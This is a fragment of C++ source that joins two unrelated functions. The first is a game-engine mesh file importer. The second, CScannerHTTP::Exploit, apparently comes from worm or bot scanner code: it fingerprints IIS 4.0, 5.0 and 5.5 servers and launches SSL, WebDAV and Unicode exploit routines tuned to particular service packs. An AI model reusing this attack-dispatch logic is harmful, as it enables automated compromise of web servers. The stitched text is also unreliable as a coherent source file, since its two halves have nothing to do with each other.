void DiMeshSerializer::ImportMesh( DiDataStreamPtr& stream, DiMesh* pDest ) { DI_SERIAL_LOG("Loading mesh : %s", stream->GetName().c_str()); char sign[4]; stream->Read(sign,4); if (CheckHead(sign)) { uint16 version; stream->Read(&version,sizeof(uint16)); DI_SERIAL_LOG("Mesh version: %d", version); if (version >= MODEL_SERIAL_VERSION_NUM) { DI_ERROR("Unknow mesh version."); return; } DiMeshSerializerImpl* impl = GetImplemention((DiMeshSerialVersion)version); if (impl) { impl->ImportMesh(stream,pDest); } DI_DELETE impl; return; } DI_ERROR("Invalid mesh file head."); return; }
bool CScannerHTTP::Exploit() { int iHTTPType=CheckHead(), iOptions; switch(iHTTPType) { case HTTP_TYPE_IIS_55: { iOptions=CheckOptions(); ExploitIISSSL(iHTTPType); if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4F4E); // SP3 if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4142); // ~SP0 ~SP2 if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4143); // ~SP1 ~SP2 ExploitIISUnicode(); } break; case HTTP_TYPE_IIS_50: { iOptions=CheckOptions(); ExploitIISSSL(iHTTPType); if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4F4E); // SP3 if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4142); // ~SP0 ~SP2 if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4143); // ~SP1 ~SP2 ExploitIISUnicode(); } break; case HTTP_TYPE_IIS_40: { ExploitIISUnicode(); } break; default: break; } return false; }